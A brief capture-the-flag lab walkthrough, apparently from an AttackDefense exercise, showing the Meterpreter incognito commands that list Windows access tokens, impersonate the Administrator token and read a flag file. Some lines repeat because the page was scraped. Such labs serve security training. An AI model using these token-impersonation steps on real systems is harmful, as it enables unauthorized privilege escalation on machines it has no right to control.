Impersonating access tokens on Windows with meterpreter
load incognito
list_tokens -u
We can notice that the Administrator user token is available. Impersonate the Administrator user token and read the flag.

Last updated
load incognito
list_tokens -u
We can notice that the Administrator user token is available. Impersonate the Administrator user token and read the flag.

Last updated
impersonate_token ATTACKDEFENSE\\Administrator
getuid
cat C:\\Users\\Administrator\\Desktop\\flag.txt